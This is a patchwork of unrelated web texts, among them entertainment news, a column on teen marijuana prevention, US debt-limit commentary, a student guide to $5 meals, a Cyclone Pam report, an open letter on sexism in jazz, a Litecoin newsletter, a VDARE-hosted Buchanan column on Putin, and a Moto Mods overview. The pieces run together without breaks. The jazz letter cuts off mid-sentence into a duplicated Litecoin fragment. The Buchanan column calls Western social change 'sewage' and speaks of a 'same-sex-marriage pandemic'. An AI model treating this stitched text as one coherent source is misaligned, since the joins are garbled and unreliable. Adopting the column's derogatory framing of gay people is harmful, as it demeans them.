« Revelation 16 | Revelation 17 | Revelation 18 »Increasing the chances that The Academy Awards will take some time for a quick Salmon Ladder break in the middle of the show, producer Neil Meron has revealed that Arrow showrunner Greg Berlanti will be the head writer for the upcoming 2015 Oscars. He’ll be joined by Arrow writer (and The Flash creator) Andrew Kreisberg, who will ensure that The Academy Awards get a lot more scenes where the nominees refuse to tell the girl that they love about how they’re The Flash, even though it would solve all of their problems. Rounding out the writing team is Green Lantern screenwriter Michael Green and Pride And Prejudice And Zombies mastermind Seth Grahame-Smith. Together, they’ll mash the show up with some classic novels and throw in a failed attempt to jumpstart DC’s non-Batman superhero movies. The Oscars telecast will be hosted by beloved comic book hero Awards Show Host Man—better known by his secret identity, Neil Patrick Harris. The show will be held on February 22, 2015, a date that has nothing to do with superheroes (as far as we know).
[via Entertainment Weekly]Photo
The Well Column Tara Parker-Pope on living well.
When the antidrug educator Tim Ryan talks to students, he often asks them what they know about marijuana. “It’s a plant,” is a common response.
But more recently, the answer has changed. Now they reply, “It’s legal in Colorado.”
These are confusing times for middle and high school students, who for most of their young lives have been lectured about the perils of substance abuse, particularly marijuana. Now it seems that the adults in their lives have done an about-face.
Recreational marijuana is legal in Colorado and in Washington, and many other states have approved it for medical use. Lawmakers, the news media and even parents are debating the merits of full-scale legalization.
“They are growing up in a generation where marijuana used to be bad, and maybe now it’s not bad,” said Mr. Ryan, a senior prevention specialist with FCD Educational Services, an antidrug group that works with students in the classroom.
“Their parents are telling them not to do it, but they may be supporting legalization of it at the same time.”
Antidrug advocates say efforts to legalize marijuana have created new challenges as they work to educate teenagers and their parents about the unique risks that alcohol, marijuana and other drugs pose to the developing teenage brain.
These educators say their goal is not to vilify marijuana or take a stand on legalization; instead, they say their role is to convince young people and their parents that the use of drugs is not just a moral or legal issue, but a significant health issue.
“The health risks are real,” said Steve Pasierb, the chief executive of the Partnership for Drug-Free Kids. “Every passing year, science unearths more health risks about why any form of substance use is unhealthy for young people.”
Already nearly half of teenagers — 44 percent — have tried marijuana at least once, according to data from the partnership. Regular use is less common. One in four teenagers report using marijuana in the past month, and 7 percent report frequent use — at least 20 times in the past month.
Even in the states where marijuana is legal, it remains, like alcohol, off-limits to anyone younger than 21. But the reality is that once a product becomes legal, it becomes much easier for underage users to obtain it.
This summer, the Partnership for Drug-Free Kids released its annual tracking study, in which young people were asked what stopped them from trying drugs. Getting into trouble with the law and disappointing their parents were cited as the two most common reason young people did not use marijuana. The concern now is that legalization will remove an important mental barrier that keeps adolescents from trying marijuana at a young age.
“Making it legal makes it much more accessible, more available,” said Dr. Nora Volkow, the director of the National Institute on Drug Abuse. “This is the reality, so what we need to do is to prevent the damage or at least minimize it as much as possible.”
Drug prevention experts say the “Just Say No” approach of the 1980s does not work. The goal of parents should not be to prevent their kids from ever trying marijuana.
Instead, the focus should be on practical reasons to delay use of any mind-altering substance, including alcohol, until they are older.
The reason is that young brains continue to develop until the early 20s, and young people who start using alcohol or marijuana in their teens are far more vulnerable to long-term substance-abuse problems.
The brain is still wiring itself during adolescence, and marijuana — or any drug use — during this period essentially trains the reward system to embrace a mind-altering chemical.
“We know that 90 percent of adults who are addicted began use in teenage years,” Mr. Pasierb said. “They programmed the reward and drive center of their teenage brain that this is one of those things that rewards and drives me like food does, like sex does.”
Studies in New Zealand and Canada have found that marijuana use in the teenage years can result in lost I.Q. points. Mr. Pasierb says the current generation of young people are high achievers and are interested in the scientific evidence about how substance use can affect intelligence.
“You have to focus on brain maturation,” he said. “This generation of kids wants good brains; they want to get into better schools. Talk to a junior or senior about whether marijuana use shaves a couple points off their SATs, and they will listen to you.”
Because early exposure to marijuana can change the trajectory of brain development, even a few years of delaying use in the teen years is better. Research shows that young adults who smoked pot regularly before the age of 16 performed significantly worse on cognitive function tests than those who started smoking in their later teenage years.
Drug educators say that one benefit of the legalization talk is that it may lead to more research on the health effects of marijuana on young people and more funding for antidrug campaigns.
The Partnership for Drug-Free Kids plans to continue its “Above the Influence” marketing campaign, which studies show has been an effective way of reaching teenagers about the risks of drug use. The campaign does not target a specific drug, but it teaches parents and teens about the health effects of early drug use and tries to empower teens to make good choices.
“Legalization is going to make the work we do even more relevant,” Mr. Pasierb said. “It’s part of the changing drug landscape.”This item has been removed from the community because it violates Steam Community & Content Guidelines. It is only visible to you. If you believe your item has been removed by mistake, please contact Steam Support
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Online File Size Posted Size 0.777 MB Aug 24, 2017 @ 7:44pm 2560 x 1440 18 Unique Visitors 0 Current FavoritesIn a conference call with House Republicans last week, Boehner said they would push Obama on the debt limit, but not the continuing resolution to fund the government. Some weren't pleased, The National Review's Jonathan Strong reports, and the call turned "ugly." Georgia Rep. Lynn Westmoreland, for example, "told Boehner to 'go back to the drawing board.'" But Boehner showed no sign he'd do that on Monday night, at a fundraiser for Idaho Rep. Mike Simpson, the Idaho Statesman reports. "There is no reason for the government to run out of money," Boehner said. But risking the debt limit is fine. On Tuesday, Boehner's spokesman told Roll Call that the House GOP would demand spending cuts equal to the amount the debt ceiling is raised.
This is so Obama can save face. "Combining the two events essentially allows Obama to negotiate on both, while making it seem as though he is keeping his promise not to negotiate on the debt limit," the Washington Examiner's Carroll says.
GOP chaos is actually part of the plan. Salon's Brian Beutler argues that it might look like there's little chance any debt limit increase can pass the House with a majority of Republican votes, much less one that can do that and pass the Senate. That's OK! Here's the "ideal scenario," Beutler says:
...Boehner introduces legislation that both increases (or extends) the debt limit and includes some goodies for conservatives that make the bill a non-starter with Senate Democrats and the President (maybe a year-long delay of the individual mandate — let your imaginations run wild); that bill fails on the floor; everyone panics; faced with no better option, Boehner breaks the Hastert rule [allowing it to pass with Democratic votes], puts a tidy, Senate-passed debt limit bill on the floor, and we all dress up as Speaker Pelosi for Halloween.
That means Bohener's actually counting on the House GOP to descend into chaos so he can pass something that can get through the Senate.
Boehner is bluffing and will cave. At Business Insider, Josh Barro says the threat over the debt limit is a bluff. Remember the last time Boehner's spokesman said Republicans wouldn't raise the debt ceiling without an equal amount of spending cuts? It was December 2012. It didn't happen. In Idaho, Boehner said he wanted to cut mandatory spending, meaning Social Security and Medicare. But, Barro writes, there's no GOP "consensus on a package of entitlement reforms."
If Republicans were to stage another debt ceiling showdown over entitlement reform, they would have to (1) threaten to cause an economic crisis unless (2) they are given a package of reforms that many Republican officials don't even want, which (3) would also happen to be hugely unpopular with voters.
Once they get through the government funding fight, then the GOP will see the political costs of risking global financial crisis by not raising the debt ceiling, and cave like they did last time.The end of the semester at GWU means you’ve depleted your GWorld of Colonial Ca$h and Dining Dollars. Now you have to fend for yourself. Let’s be real, checking your bank balance can be pretty scary unless you have a trust fund, in which case you have no reason to keep reading. If however you are looking for ways to save on meal$$$, you’ve come to the perfect place.
You should not have to spend $15 on lunch. I have compiled a list of meals you can find in Foggy Bottom that will set you back no more than $5 plus tax, because it is possible! These meals aren’t as large as your favorite burrito bowl, but they will get the job done.
*GWorld-friendly restaurants have been marked with an asterisk.
BTR’s Guide to $5 Meals In Foggy Bottom
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Although they aren’t advertised on the menu, Chipotle’s Kids Meals are a filling bargain. I’m 21 and I’ve ordered them many times without a problem. $4 gets you one of the following options served with a small bag of tortilla chips and juice or milk:
2 tacos with three ingredients
1 small quesadilla with a side of rice and beans or
1 taco with a side of rice
Located at 2000 Pennsylvania Ave. and 1837 M ST.* – the latter takes GWorld
Stay away from the pay-by-weight bar, and you’ll be able to get some cheap meals at the store lovingly known as “Whole Paycheck.”
Slice of pizza – $3.49 DC’s pizza is pretty terrible, but Whole Foods’ is pretty good! The slices are huge and they have yummy slices like mushroom-shallot and sundried-tomato-chicken-pesto.
Junior hamburger – $4 or a Junior cheeseburger – $5 If you weren’t aware, Whole Foods makes amazing burgers. Junior burgers come with a single patty, whereas the regular burgers come with two. A single patty is just enough though, especially when you top it with mushrooms, caramelized onions, tomatoes, lettuce, pickles and chipotle mayo. *Drool*
Located at 2201 I (eye) St.
Mini-bowl – $3.95-$4.95 Mini portions of grilled tofu, chicken teriyaki and spicy pork cost will cost you less than a fiver and are served with mixed vegetables and a choice of steamed or fried rice.
Waffles – $3.25-$4.95 Poppabox serves sweet waffles and waffle sandwiches for breakfast, but they stop serving the most important meal of the day at 10:30 a.m.
Cheeseburger – $3 Poppabox serves $3 cheeseburgers after 8 p.m. as part of their late-night menu. The burgers are topped with cheese and caramelized onions and they are amazing. Every time I’ve ordered just one burger, they have accidentally given me a full meal, which consists of two burgers and fries…
Located at 1928 I (eye) St.
As home of the $5 foot-long, Subway is the king of cheap meals. Eat here every day and you’ll save enough to offset the pain from your tuition and you’ll lose weight like Jared.
6″ Cold Cuts or Meatball sandwich – $2 for a limited time
for a limited time Flatizza – $3.5
6″ breakfast sandwich – $4
Various 6″ subs – $4-5
Located at 1959 E St. (*Gworld-friendly), 1800 I (Eye) St. and 2033 K St.
Kids Meal – $5 Chipotle and adult-sized portions are too main stream. Order a kids meal and choose between a taco or quesadilla and get a side of beans and rice or chips, and a kids drink.
Located at 1919 M St.
You can find this dumpling truck parked on H Street with the rest of the food trucks pretty much every week. Follow their Twitter @yumplingdc for real-time location updates
6 Dumplings – $5 (tax included!) Mix and match and choose between chicken, beef, pork, shrimp and veggie dumplings and a variety of dipping sauces.
(tax included!)
The following sandwiches cost $4.70 for the Original size and $4.90 as Flats: A Wreck, Roast Beef, Chicken Salad, Italian, Turkey Breast, Smoked Ham, Meatball, Vegetarian, Tuna Salad and PB&J
for the Original size and as Flats:, and All “Skinnys” Sandwiches – $4.20
Large Soup – $4.50
Large Chili – $4.95
Located in Shenkman Hall (formerly Ivory Tower) at 616 23rd St. (*Gworld-Friendly). Other nearby locations include 900 19th St. and 1900 L St.
Hot Dog Carts
You’ve seen them outside of Gelman and Phillips but have strayed away for fear of food poisoning. And with sexual abuse allegations and stealing from the bookstore, these carts do not have a good record. However, they made this list because they are cheap. Eat at your own risk!
(Note: I’ve had hot dogs from stands elsewhere in the city and I was fine)
Located in front of Gelbucks and across the street in front of Phillips, as well as on I St between 21st and 22nd, and right in front of the metro.
Breakfast is good anytime of day in my opinion.
Kosher Hot Dog or Half Smoke – $3.45
Small Soup – $3.75, Medium Soup – $4.75
16 oz. Macaroni Salad, Cole Slaw or Potato Salad – $4.95 The rest of their salads cost less than $5 for 8 oz.
Fried Egg Sandwich – $2.40
Double Fried Egg Sandwich – $2.95
Fried Egg and Cheese – $2.85
Bacon/Sausage/Ham and Egg – $4.25
Sausage Sandwich – $3.95
Located at 2133 G St.
You can get pretty much any sandwich (and anything else) off the menu for less than $5! Yay!
Located in Ivory Tower/Shenkman Hall at 616 23rd St (*GWorld-friendly) and at 2025 E St.
All of the breakfast sandwiches cost between $2.95-$4.45. My favorite is the Spinach & Feta Wrap ($3.45).
Remember that if the line at Gelbucks is crazy, there are like 10 other Starbucks within a 5-block radius of campus.
The following locations accept GWorld: Gelbucks (2130 H St.), GW Hospital Starbucks (900 23rd St.) and E Street Starbucks (1957 E St.)
Medium soup with a breadstick – less than $5
Most breakfast sandwiches also cost less than $5
Located at 2000 Pennsylvania Ave.
Pretzel dog – about $3 While I wouldn’t count a pretzel as a meal, this thing has protein in it, so it’s a balanced meal, right?
Located inside J Street (800 21st St).Amateur video shows some of the devastation caused by Cyclone Pam that hit the Pacific island nation packing winds of more than 186 mph. (Reuters)
Tropical Cyclone Pam, a monster storm in the South Pacific, is thrashing the capital island of Vanuatu in the dead of night, in what has turned out to be the nightmare scenario for the tiny island nation that faces some of the most pressing worries from rising sea levels and climate change.
Visible, true-color satellite image of Tropical Cyclone Pam on Thursday morning, Vanuatu time. (NASA)
Home to around 66,000 people, the island of Efate and Vanuatu’s capital city Port Vila were enduring a direct hit from the cyclone’s eye wall Friday night, local time. Pam was forecast to track about 100 miles east of the island, which would have spared Vanuatu of the most serious impacts.
A powerful cyclone hit the Pacific islands of Vanuatu, Kiribati and Tuvalu, destroying some homes and causing extensive damage. The Category 5 cyclone had average wind speeds of 155 mph to 167 mph, with gusts up to 211 mph, according to the U.N. Office for the Coordination of Humanitarian Affairs. (The Washington Post)
Unfortunately, the cyclone has been bucking the forecast on a more westward path for a couple of days now, and Vanuatu is paying the price as it swipes Efate at what appears to be its peak intensity.
#CyclonePam is hitting the SW of Port Vila the worst case scenario says UN monitor @ABCNews24 #theworld — Beverley O'Connor (@bevvo14) March 13, 2015
Pam’s sustained winds are up to 165 mph, with gusts nearing 200 mph, according to the Joint Typhoon Warning Center. The weather station at the airport in Port Vila went offline around 8 p.m. local time, 5 a.m. Eastern Time. Its last report was rapidly falling pressure and sustained winds of 46 mph. Now that Efate is essentially in the eye wall of the cyclone, those measurements have likely at least doubled, if not tripled.
The movement of Tropical Cyclone Pam over the past 10 hours. (NOAA)
The hurricane-chasing team “iCyclone” is in Vanuatu and providing and seeking reports on Facebook. Some people on Vanuatu have been able to post replies via mobile service, but there has been widespread power loss. “I am in Port Vila,” one Facebook user writes. “The power is off. Water cut off for some houses. Wind is terrifying.”
iCyclone member in #PortVila: 944.6 mb & shifting winds 11:10 pm. Eye scraping E side of Efate. Terrror. #CyclonePAM pic.twitter.com/JrtkTsLAS6 — Josh Morgerman (@iCyclone) March 13, 2015
Another report from Port Vila: “Just got a text from a friend an hour ago in Malapoa, his roof has gone is being flooded and is burying himself in the mud under the foundations to try and stay put. We have a house in Vila and are assuming it will be gone by morning. Please pray for them. This is unbelievable — all other comms are out.”
The Facebook page Humans of Vanuatu, which typically shares the everyday lives of Vanuatuans, has been providing updates on the cyclone since earlier this week.
Around 10 p.m. Vanuatu time, the Humans of Vanuatu Facebook page signed off after the Internet went out.
Mashable’s Andrew Freedman writes that Vanuatu is particularly susceptible to natural disasters:
A recent report on natural disaster vulnerability found that Port Vila is the most exposed city to natural disasters of any of the 1,300 cities studied. The Natural Hazards Risk Atlas, published by the British analytics company Verisk Maplecroft, found that Port Vila is at risk for earthquakes, tsunamis and tropical cyclones. Global warming-related sea level rise is leading to more damaging coastal flooding in island nations such as Vanuatu. The country is one of a bloc of small island states lobbying industrialized nations to undertake steep carbon emissions reductions to avert the most significant impacts of global warming. Other members of the small island alliance also were effected by Cyclone Pam, including Kiribati and the Solomon Islands.
Pam has been strengthening into a monster since Tuesday, when it rapidly intensified from the equivalent of a category 2 to a category 4 in under 24 hours. Since then it has slowly continued to gain strength, reaching category 5 status on Thursday. Recent unofficial satellite analysis suggests Pam’s central pressure is down to an astonishingly low 890 millibars, with winds up to 177 mph.
VIIRS image from 02z of core of the tropical cyclone & latest satellite intensity estimate of #Pam in S Pacific pic.twitter.com/4A1FDoStCo — Stu Ostro (@StuOstro) March 13, 2015
Tropical Cyclone Pam is the strongest of four cyclones in the midst of a very active period on the other side of the globe. Tropical Cyclone Nathan, which is currently spinning just off the coast of Queensland, Australia, is expected to strengthen into a Category 2 as it tracks east over the weekend. Though the storm is likely to weaken after that, the remnant system may bring heavy rain to Vanuatu on Monday and Tuesday.Ethan Iverson (and presumably, the rest of the jazz world),
I'm going to start with some disclaimers.
I know you didn't mean to cause any harm by your Robert Glasper interview, what you allowed him to say, or how you responded to it. I know you probably do believe in the many women in your life. You respect them. You want everybody to have equal rights because, like you said, you're a liberal. In other words, we know you never had the intention to contribute to sexism. Intention and implications can be very different things. I also know it's not fun to be under siege of an internet attack where the majority of people don't personally know you and aren't forgiving, even when you did have good intentions in your response. The internet is the perfect platform to spew words you would be hesitant to express in person. The anonymity and distancing the internet creates resolves much of he guilt that might usually be associated with “ganging up” on someone. Additionally, forgiveness for ignorance is something that is easily forgotten in today's PC world. I'm not going to attack you, but rather, explain with as much transparency as I can why people are making a big deal out of your words. Why it is okay (Robert Glasper) that calling out the interview and the sexism connoted by jazz culture, is one of “the most exciting thing(s) to talk about in jazz”. Women are finally claiming voicedness in a genre and industry that has rejected and demeaned them time and time again, and that is something to be visibly celebrated. This is by nature of adverse consequences and covert sexism that can occur from denial, deflection of blame, assuming the “liberal” label as a free pass to excuse negative contributions towards marginalized groups, and lack of action being taken, all of which I will delve into. And while I felt compelled to write this specifically following the interview's publication, these are actions I have seen perpetuated by the misogynist jazz community as a whole.
You had said you were annoyed that the majority of the criticism did not come from women themselves. Here is my word, a 19 year old female jazz vibraphone and percussion student, presenting my personal experiences in the context of sexism. I hope I can help you and some of our male colleagues understand why we have to take something that is seemingly insignificant to you so seriously. The accumulation, dismissal, and defense of these issues is revealing itself in a disturbing, discouraging way that we simply cannot remain complicit about.
Lets observe a situation together. I am in ensemble at my college, The New School, normally run by drummer Matt Wilson. Matt is on tour so we have a sub, a relatively well known NYC bass player whose name I will not disclose. We play through one of our songs that was composed by our ensemble's drummer. I am merely playing a melody. The teacher is shouting at me to play louder, claiming “Bobby Hutcherson didn't play like that! Milt Jackson didn't play that timid!”. He had no idea I studied with Stefon Harris, who prioritizes full tone and projection and still gets into situations where he cannot be heard all the way. I am always sure when I am not miced to play as loud as I can without compromising my technique or completely botching my tone, using the weight of the mallet head and gravity to my advantage. Our drummer happened to be overpowering the band, which he had done in countless settings whether or not I was present. Yet, it was on me, un-miced, standing at 5'2 and barely 105 pounds with stick thin arms, using projection techniques taught to me by one of the modern day vibraphone masters. It was somehow my fault (side note - I later played a gig with Matt Wilson on drums and a group roughly of the same size, and one of the first things he said was “it's nice to be able to actually hear you!”). This teacher spends the time telling the drummer to give more, not in a negative way that connotes low expectations, but in a grand and encouraging way. He keeps exclaiming “yes!”, calling out affirmations to the drummer who starts to lose the time for the sake of playing chops-heavy fills after every four bars. After the song, the teacher praises the drummer like crazy and the drummer's ego rises with a giant smile, basking in approval. The sub says, “you must feel so good about yourself after that.” The drummer responds “yeah, I feel hella good about myself right now.” The rest of the band feels something is wrong in the air because of the utter contrast between the way I was spoken to and the way the drummer was spoken to, and they felt the drummer overstepping them as well as me. It's uncomfortably silent. I try to just ignore it because at this rate, this has already happened to me on several occasions. Next, we play a song by our pianist which includes a fast blues solo section and things escalate. He hadn't even heard me improvise at that point before he asked, “Sasha, can I ask...do you know the changes to an F blues?” As we all know, the F blues has to be the most standard jazz progression. It is almost always the first chord progression and the first key to learn. I could hardly say anything because his words felt so condescending and shocking and I didn't want to show him emotional vulnerability. He stuttered and took it back after some of the band members made sounds of disbelief, muttering “of course you do...”. But the point was that something compelled him to say it in the first place. Meanwhile, the drummer didn't pay any mind because he was still riding on self-affirmation from the last song. I am standing there humiliated because I have worked extremely hard at my craft, and anyone in the group with Matt Wilson qualifies as relatively advanced for the college age group (although by no means seasoned experts – I am aware of how much I still have to learn). I've got no reason to think that I am an insane talent or be told that by anyone, but I deserve respect at the very least and this teacher has the audacity to ask if I know the changes to a god damn blues. When the sub leaves, everyone has witnessed the discomfort besides our tuned out drummer, leading to what was probably the hardest thing - not speaking up to verbally acknowledge what had happened, despite having felt it and witnessed it. Our drummer walks out of the room puffing his chest out like he knows he's the shit. I roll out my vibraphone silently and try hard not to get emotional on my walk home. Because even when we've worked hard to earn our place; playing in the best conglomerate high school jazz orchestra in the U.S, getting full scholarships to music programs and schools, playing with some of the most internationally renowned musicians...ultimately, these things just don't ever seem to let up in the face of sexism, and nobody wants to address it.
This situation well summarizes what it feels like to be a female instrumentalist in jazz. These preconceived notions happen all the time. Women have to speak up for ourselves and the rest of the female jazz community. This gets exhausting and frustrating when the male jazz community refuses responsibility for statements and actions that contribute to this debilitating bias towards their female peers. By stating “actually, I am enthralled by the intellectual capacity of women” as if to imply that it should come as a surprise to the world, you are contributing to this sexist culture in the jazz community. By Robert Glasper reducing a woman's experience with music to something exclusively primal, void of cerebral potential, and sexual, he is contributing to this sexist culture in the jazz community. The fact that both of you refused to take accountability for your contributions to sexism, regardless of initial intention, is the reason why you and many other men can still get away with these kinds of statements that go as far as to install this preconception of inferiority. If you have a heart (and a degree of your oh so unquestionable male intellectual capacity), maybe you can listen to what I have to say.
We can start off the general sexism discussion by observing the past and considering artists like Mary Lou Williams, Lil Hardin, and Joanne Brackeem, who despite their tremendous talents were never considered quite good enough to be Earl Hines or McCoy Tyner, Art Tatum or Herbie Hancock, whoever it might be that constitutes the “greats” of jazz. The issue with this is that when the “greats” were established, it was during a time period of rampant sexist culture. In music, there was the notion that women were not allowed to play “hot” jazz for it being too masculine, unattractive, impulsive, or dominant. Women didn't play that role in the field of entertainment. This is not to say the “greats” do not deserve to be the “greats”, as the “greats” were incredible game changers in the jazz field and earned their place as “greats”. But why weren't those women right beside them? They certainly had the skill level to earn the name of one of the most iconic greats, but they never did. Mary Lou Williams gets 3 pages to Art Tatum's 14 pages in nearly every jazz history textbook. Author Sherrie Tucker ruminates in her book Swing Shift about the very issue that we have all quietly ignored:
Prominent jazz and swing writers, then and in the years since, did not seek information about all-woman bands, while living sources who played in such groups could easily be located and were eager to be interviewed […] (this) suggests that the flow of the swing narratives is more likely the uncritical reproduction of dominant gender ideology than a case of careless omission.
The reasoning was that nobody dared question the meritocracy of the “greats” because that was just the way things have always been. There isn't a genuine reason to support this theory other than sexism, but because of this sacredness of maintaining what was first decided of jazz meritocracy, it has never been addressed. People may question the jazz meritocracy at the very least, but they will do nothing about how they might be contributing to it despite claiming to have always been a human rights advocate, hiding behind that label, and |
the night. That said, if I live to see another week, expect additional news from the LTC community, tutorials, and any additions or subtractions in next weekend's newsletter.
If I don't live, please avenge my death! It's been a busy week for the Litecoin community! I've added three new exchanges and a handful of new merchants and service providers for you to visit. Coffee drinkers will be delighted to discover The Roast Station Project, and deal aficionados will find plenty of bargains at Bitcoin Classifieds (now accepting Litecoins).On a totally unrelated note, I've come down with a murderous cold--one that will surely leave me at death's door before the end of the night. That said, if I live to see another week, expect additional news from the LTC community, tutorials, and any additions or subtractions in next weekend's newsletter.If I don't live, please avenge my death!Sue The T-Rex Is Running A D&D Game On Twitter & It Is Freaking Amazing
By Anthony Todd in Arts & Entertainment on Mar 7, 2017 5:35PM
Sue the T-Rex. Photo via Twitter.
If you're not already following Sue, the Field Museum's famous Tyrannosaurus Rex skeleton, on Twitter, you should be. If I had to make a list of the most essential Chicago Twitter feeds, Sue's would be at or near the very top, combining Paleontology information, Field Museum news, Jurassic Park riffs and jokes about eating tourists for a combo that is frequently laugh out loud funny. Over the last few days, Sue (or whatever marketing manager runs her feed) has risen to a new height.
Sue has started to run a game of Dungeons and Dragons on her Twitter feed. Behold.
This isn't just a series of D&D references; it's a full-on game, complete with characters (of course, the main character is a "dino-sorcerer"), polls of the audience to decide what to do next, dice rolls (with photographs) and ridiculous antics. It also puts in subtle references to the Field Museum's work, as the party gets mixed up in a "rapid inventory" of a countryside filled with foliage.
It started innocently enough, late on the night of March 3, with a joke:
When a hadrosaur plays Dungeons and Dragons, what class do they play?
A "Dino-sorcerer."
Ugh, no one will get-
[Send Tweet] — Specimen FMNH PR2081 (@SUEtheTrex) March 4, 2017
So far, it's gone on for almost 50 tweets and four days, and I have every reason to believe it'll continue this morning (it stopped at about midnight last night; even Sue needs to sleep).
You absolutely need to read the whole thread, but here are some of the highlights, as the party was hanging out in a tavern, failed a roll when searching for traps, was attacked by brigands (from the Great Lakes Science Center) and survived thanks to dino trivia:Dust-Devil Tracks in Southern Schiaparelli Basin
Dust-devils are vortices of wind that form when air rising from a warm surface encounters shear in the above atmosphere. Martian dust devils can attain gargantuan proportions, reaching the size of terrestrial tornadoes with plumes that tower up to 9 kilometers above the surface. Dust-devils play an important role in sustaining the aerosols that make up Mars’ red sky and in cleaning the Martian surface after a dust storm.This observation shows a region near the Martian equator that is a perfect tablet for the scribblings of dust-devils. This region is made up of dark bedrock that is thinly blanketed by bright dust. Dark tracks form when dust-devils scour the surface, exposing the darker substrate. The tracks tend to cluster together, as dust-devils repeatedly form over terrain that has been previously scoured and is consequently darker and warmer than the surrounding surface.Once lofted by a dust-devil, the fine dust can be transported great distances before it settles again onto the surface.Image Credit: NASA/JPL/University of ArizonaRelated images: http://hirise.lpl.arizona.edu/PSP_006477_1745In his Kremlin defense of Russia's annexation of Crimea, Vladimir Putin, even before he began listing the battles where Russian blood had been shed on Crimean soil, spoke of an older deeper bond.
Crimea, said Putin, "is the location of ancient Khersones, where Prince Vladimir was baptized. His spiritual feat of adopting Orthodoxy predetermined the overall basis of the culture, civilization and human values that unite the peoples of Russia, Ukraine and Belarus."
Russia is a Christian country, Putin was saying.
This speech recalls last December's address where the former KGB chief spoke of Russia as standing against a decadent West:
"Many Euro-Atlantic countries have moved away from their roots, including Christian values. Policies are being pursued that place on the same level a multi-child family and a same-sex partnership, a faith in God and a belief in Satan. This is the path to degradation."
Heard any Western leader, say, Barack Obama, talk like that lately?
Indicting the "Bolsheviks" who gave away Crimea to Ukraine, Putin declared, "May God judge them."
What is going on here?
With Marxism-Leninism a dead faith, Putin is saying the new ideological struggle is between a debauched West led by the United States and a traditionalist world Russia would be proud to lead.
In the new war of beliefs, Putin is saying, it is Russia that is on God's side. The West is Gomorrah.
Western leaders who compare Putin's annexation of Crimea to Hitler's Anschluss with Austria, who dismiss him as a "KGB thug," who call him "the alleged thief, liar and murderer who rules Russia," as the Wall Street Journal's Holman Jenkins did, believe Putin's claim to stand on higher moral ground is beyond blasphemous.
But Vladimir Putin knows exactly what he is doing, and his new claim has a venerable lineage. The ex-Communist Whittaker Chambers who exposed Alger Hiss as a Soviet spy, was, at the time of his death in 1964, writing a book on "The Third Rome."
The first Rome was the Holy City and seat of Christianity that fell to Odoacer and his barbarians in 476 A.D. The second Rome was Constantinople, Byzantium, (today's Istanbul), which fell to the Turks in 1453. The successor city to Byzantium, the Third Rome, the last Rome to the old believers, was — Moscow.
Putin is entering a claim that Moscow is the Godly City of today and command post of the counter-reformation against the new paganism.
Putin is plugging into some of the modern world's most powerful currents. Not only in his defiance of what much of the world sees as America's arrogant drive for global hegemony. Not only in his tribal defense of lost Russians left behind when the USSR disintegrated.
He is also tapping into the worldwide revulsion of and resistance to the sewage of a hedonistic secular and social revolution coming out of the West.
In the culture war for the future of mankind, Putin is planting Russia's flag firmly on the side of traditional Christianity. His recent speeches carry echoes of John Paul II whose Evangelium Vitae in 1995 excoriated the West for its embrace of a "culture of death."
What did Pope John Paul mean by moral crimes?
The West's capitulation to a sexual revolution of easy divorce, rampant promiscuity, pornography, homosexuality, feminism, abortion, same-sex marriage, euthanasia, assisted suicide — the displacement of Christian values by Hollywood values.
Washington Post columnist Anne Applebaum writes that she was stunned when in Tbilisi to hear a Georgian lawyer declare of the former pro-Western regime of Mikhail Saakashvili, "They were LGBT."
"It was an eye-opening moment," wrote Applebaum. Fear and loathing of the same-sex-marriage pandemic has gone global. In Paris, a million-man Moral Majority marched in angry protest.
Author Masha Gessen, who has written a book on Putin, says of his last two years, "Russia is remaking itself as the leader of the anti-Western world."
But the war to be waged with the West is not with rockets. It is a cultural, social, moral war where Russia's role, in Putin's words, is to "prevent movement backward and downward, into chaotic darkness and a return to a primitive state."
Would that be the "chaotic darkness" and "primitive state" of mankind, before the Light came into the world?
This writer was startled to read in the Jan-Feb. newsletter from the social conservative World Council of Families in Rockford, Ill., that, of the "ten best trends" in the world in 2013, number one was "Russia Emerges as Pro-Family Leader."
In 2013, the Kremlin imposed a ban on homosexual propaganda, a ban on abortion advertising, a ban on abortions after 12 weeks and a ban on sacrilegious insults to religious believers.
"While the other super-powers march to a pagan world-view," writes WCF's Allan Carlson, "Russia is defending Judeo-Christian values. During the Soviet era, Western communists flocked to Moscow. This year, World Congress of Families VII will be held in Moscow, Sept. 10-12."
Will Vladimir Putin give the keynote?
In the new ideological Cold War, whose side is God on now?
Patrick J. Buchanan needs no introduction to VDARE.COM readers; his books State of Emergency: The Third World Invasion and Conquest of America, and Suicide of a Superpower: Will America Survive to 2025? are available from Amazon.comAmazon’s smartphone is looking more and more like an imminent reality, and now BGR is bringing what it says is the first look at the actual design of the hardware to the table. The phone appeared in an actual photo in a previous BGR article, but now a render shows what it looks like under its protective housing, and the results are – really not at all that surprising.
The picture depicts a black device with glass front and back covers, and a matte edge which could be either plastic or metal. The front face closely resembles a Galaxy S-range device in many regards, with a chamfered edge that calls to mind the iPhone 5 and later. Overall, the look is pretty much two parts iPhone (4 and 5) and one part Galaxy, and basically all around not terribly original.
BGR’s sources say that the device is designed to be comfortable to use with one hand despite its large size (it houses a 4.7-inch screen). The phone also has to house six separate cameras, and it looks like it might be a bit thicker through the middle than most devices as a result based on this render.
So far, we’ve heard that the new smartphone will arrive in a litlte over a month’s time, with the 720p 4.7-inch display, 2GB of RAM, a custom Android-based OS and 3D gesture effects. It might also come with its own data plan called Prime Data, according to BGR’s sources. This top-end model will also be followed up with a lower cost device with fewer fancy camera and 3D bells and whistles, reports claim.Overview
The Moto Mods architecture specifies a uniform and consistent platform for pluggable attachments that act as seamless and natural extensions of the device, the Android OS and the user experience itself.
The Moto Mods System Architecture
Specifies criteria that establish mechanical and electrical interoperability of Moto Mods with the Moto Z smartphone.
Defines standard interactions between the Moto Z and Moto Mods that cover bootstrap, security, device detection and device enumeration.
Defines (and the platform delivers) a software stack that extends native Android device interfaces for devices such as display, audio and power to the Moto Mod.
Defines discrete hardware communication channels to enable control, data and power management information to flow between a Moto Mod and a Moto Z.
Designates a protocol specifically to allow proprietary communications between a Moto Mod and a Moto Mod-aware application running on the Moto Z.
The Moto Mods Development Toolkit (MDK) includes an SDK with the requisite APIs for developing Moto Mod-aware applications that can listen for Moto Mod specific Intents, identify specific Moto Mod types and conduct packet I/O with the Moto Mod directly.
Each Moto Mod has a Moto Mod Microcontroller (MuC). It is responsible for initialization of the Moto Mod interface with the Moto Z, the enumeration of supported protocols, power management and firmware updates. The MuC runs a Moto Mod specific software stack based on the real-time operating system NuttX and Greybus, a network layer designed for modular mobile component architectures.
The Moto High Speed Bridge is used to provide support for high speed, low power interfaces for Moto Mod displays and cameras. High speed data between Moto Bridge and Moto Z travels over a dedicated link. As the MuC is responsible for setting up these high speed links, the Moto Bridge can be powered off when not in use.
